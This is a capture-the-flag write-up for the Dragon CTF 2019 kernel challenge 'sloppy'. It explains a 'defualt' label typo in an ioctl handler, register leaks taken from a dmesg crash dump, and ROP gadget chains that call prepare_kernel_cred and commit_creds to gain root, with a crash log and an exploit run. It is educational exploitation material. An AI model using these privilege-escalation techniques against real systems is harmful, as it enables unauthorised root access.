- Event: Dragon CTF 2019
- Category: pwn
- Solves: 6
- Points: 300
$ ./run.sh PWN PWN PWN / $
The challenge files consist of:
vmlinuz-5.3.0-19-generic- linux kernel
initramfs.cpio.gz- a filesystem packed into archive.
run.sh- qemu command to run the machine.
sloppy.c- source code of the module.
/init in the filesystem is a file which will run as the first process before giving us access to the console:
#!/bin/sh stty raw -echo mount -t devtmpfs devtmpfs /dev mount -t tmpfs tmpfs /tmp insmod /sloppy.ko echo "PWN PWN PWN" setsid cttyhack setuidgid 1000 sh poweroff -d 1 -n -f
I recalled that in a different kernel module pwning challenge a file
run.sh contained lines which are not here:
echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
I tested our machine and indeed we have an access to
Later organizers told me that this was unintended.
When we crash a module,
dmesg prints all values in registers so that we can have a leak.
Also, the difference between pwning a module and usual program is that when crashing,
the module will remain loaded and we are still able to call “exported” functions by the module.
Debugging Linux Kernel
I did some small changes in the archive to make debugging easier.
To modify cpio archive you need to unpack it first using following commands:
mkdir new_directory cd new_directory zcat /home/a/Desktop/sloppy-dev/initramfs.cpio.gz | cpio -idmv
And this command packs the archive back:
find . -print0 | cpio --null -ov --format=newc | gzip -9 > /home/a/Desktop/sloppy-dev/initramfs.cpio.gz
/init file to make our user to be a root (
setuidgid 1000 ->
setuidgid 0) and I mounted
mount -t proc none /proc) in order to have an access to
This file is useful in obtaining addresses of functions placed in kernel space (kernel, modules).
gdb doesn’t have them unless we loaded a file with debugging symbols which we don’t have.
/ # cat /proc/kallsyms | grep sloppy_ioctl ffffffffc003f0b0 t sloppy_ioctl [sloppy]
This time the base address of our module is
To attach gdb to qemu you need to modify
run.sh by adding a line
-s -S \.
The machine won’t start until gdb will be attached -
(gdb) target remote localhost:1234 in a different terminal.
For understanding the source code of the module these links can help: 1, 2.
And btw. when looking at linux kernel sources or to look for some structures that are used by the module you want to use lxr which has a good code search engine. For example you can search for struct file_operations
Source code is provided so I was looking only at this file without loading a module to IDA. This wasn’t a good idea because from the source code it was very hard to spot the vulnerability.
In this module we have 1
static long sloppy_ioctl (struct file * file, unsigned int cmd, unsigned long arg).
We can call this function by writing a program with the following code:
struct file * file argument is not relevant for us.
Depending on what number
cmd is we can do 3 operations:
sloppy_insert- insert a new (key, value) pair into to the sorted list.
sloppy_get_first- get the first element from this list.
sloppy_delete- delete the element with the provided key.
But the vulnerability is here:
You see the typo?
defualt instead of
default and the code still compiles because
defualt is a label.
We can make a
handler to be
NULL by proving
cmd which is not equal to any of these values.
Further code after
switch statement is:
IOC_IN are just constants:
((unsigned int)cmd >> 16) & 0x3FFF
So we can choose between
out operations and we can specify the size how much data to copy.
SIZE = 0x110 the
handler is overwritten by last 8 bytes.
So to overwrite the
handler we need to provide following
Ok. Let’s crash the module first.
cmd=0xbfff0000 I don’t remember now why.
I compiled this file and put in initramfs.
/ # /leak [ 22.077088] usercopy: Kernel memory overwrite attempt detected to process stack (offset 0, size 16383)! [ 22.080492] kernel BUG at mm/usercopy.c:98! [ 22.080994] invalid opcode: 0000 [#1] SMP PTI [ 22.081672] CPU: 0 PID: 175 Comm: leak Tainted: P OE 5.3.0-19-generic #20-Ubuntu [ 22.082819] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 [ 22.083724] RIP: 0010:usercopy_abort+0x7b/0x7d [ 22.084289] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5 [ 22.086449] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246 [ 22.087069] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2 [ 22.087852] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246 [ 22.088620] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24 [ 22.089385] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18 [ 22.090159] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000 [ 22.090925] FS: 00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000 [ 22.091802] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 22.092433] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0 [ 22.093263] Call Trace: [ 22.093559] __check_object_size.cold+0x30/0x83 [ 22.094107] sloppy_ioctl+0x132/0x160 [sloppy] [ 22.094644] ? do_fault+0x1bf/0x640 [ 22.095069] ? __handle_mm_fault+0x4c5/0x7a0 [ 22.095578] do_vfs_ioctl+0x407/0x670 [ 22.095986] ? do_user_addr_fault+0x216/0x450 [ 22.096489] ksys_ioctl+0x67/0x90 [ 22.096896] __x64_sys_ioctl+0x1a/0x20 [ 22.097360] do_syscall_64+0x5a/0x130 [ 22.097781] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 22.098420] RIP: 0033:0x7f781a40567b [ 22.098841] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 018 [ 22.100845] RSP: 002b:00007ffd403cf858 EFLAGS: 00000202 ORIG_RAX: 0000000000000010 [ 22.101680] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f781a40567b [ 22.102503] RDX: 0000000000000000 RSI: 00000000bfff0000 RDI: 0000000000000003 [ 22.103291] RBP: 00007ffd403cf870 R08: 0000000000000000 R09: 00007f781a4f21f0 [ 22.104075] R10: fffffffffffff44a R11: 0000000000000202 R12: 000055d62e278080 [ 22.104845] R13: 00007ffd403cf950 R14: 0000000000000000 R15: 0000000000000000 [ 22.105617] Modules linked in: sloppy(POE) [ 22.106158] ---[ end trace 762e31560de69a46 ]--- [ 22.106725] RIP: 0010:usercopy_abort+0x7b/0x7d [ 22.107227] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5 [ 22.109358] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246 [ 22.109981] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2 [ 22.110836] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246 [ 22.111673] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24 [ 22.112492] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18 [ 22.113361] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000 [ 22.114160] FS: 00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000 [ 22.115007] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 22.115610] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0 Segmentation fault
Topmost or most down registers are currect registers when module code crashed:
R10contains address of code of linux kernel. I discovered it by reading
/proc/kallsyms- there were functions with addresses very close to this one.
RSPThe good thing is that during every
ioctlcall the stack will have the same address. So we can use it for next
R09We will need this value later. It can be a heap, but not necessarily.
The strange thing is that CR4 shows that
SMAP are disabled but I couldn’t jump into executable code in user space.
I don’t know why, this is strange, maybe it’s some qemu internal thing?
If you know why I would be gratefull to know.
When calling overwritten handler
RSP points to the beginning of
First 8 bytes are destroyed though because of the previous
call but this is not very relevant.
extract-vmlinux didn’t work but I found manually 2 very simple gadgets in gdb:
pop_registers: pop %r11 pop %r10 pop %r9 pop %r8 pop %rdi pop %rsi pop %rdx pop %rcx pop %rbp retq
set_rsp: lea -0x28(%rbp),%rsp pop %rbx pop %r12 pop %r13 pop %r14 pop %r15 pop %rbp retq
The other way would be to dump a memory via qemu and look for gadgets normally with
The standard way of exploting linux kernel is to execute
If this code is executed in kernel space, a current process gets root privileges.
Since my gadgets are very simple my exploit does
prepare_kernel_cred in the first
ioctl call and
commit_creds in the second one (I don’t have
mod rdi, rax gadget).
I took the addresses of both functions from
ioctl I jumped to
RDI to 0
memset(buf,0,SIZE); and set
Then I jumped to
Later I used
set_rsp to set
RSP during last
ret to the same value when function
sloppy_ioctl returns normally.
This makes us returning correctly to the user mode.
If you want to track ROP chain just put a breakpoint at
000000000000013D: call __x86_indirect_thunk_rcx.
res contains an address of the structure returned by
prepare_kernel_cred but… it’s only 4 bytes.
It’s not full 8B address.
I discovered that the full address can be constructed by using 4 bytes from leaked
The second gadget chain is very similiar to the first one. It is the same but sets
commit_creds is called instead of
Here is the full source code of the exploit:
Let’s run our exploit.
The command line is:
./exploit R10, R15, R09.
/ # /exploit ffffffffb1781b88 ffffb42d801afcc0 ffff995143586000 creds: 0xffff99514730f0c0 uid=0 gid=0 THE_FLAG_WILL_BE_HERE
Btw. Previously I tried the same ROP chains but
commit_creds were called by 2 different processes, but no, it didn’t work.
The last part
When testing locally I was putting files
exploit to initramfs but on remote machine we needed to upload them to the server somehow.
I just encoded both files in base64 and split them into 500-byte parts and did
r.sendline("echo -n "+d+" >> "+name) for each part.
Full exploit that connects to the server is here.
I didn’t spend any time to make this code to look better but this part of the challenge is not very interesting and I hope that nobody will be taking a look at this file.
As I said previously, a leak via
dmesg was unintended.
The another vulnerability was here:
memset(arg, 0, sizeof sloppy_get_first);
We have 2
- a function
long sloppy_get_first (struct file * file, void * arg_)
sizeof there is no
struct keyword so it takes size from a function and the result is
With this vulnerability it was possible to leak some pointers because the data was not fully zeroed.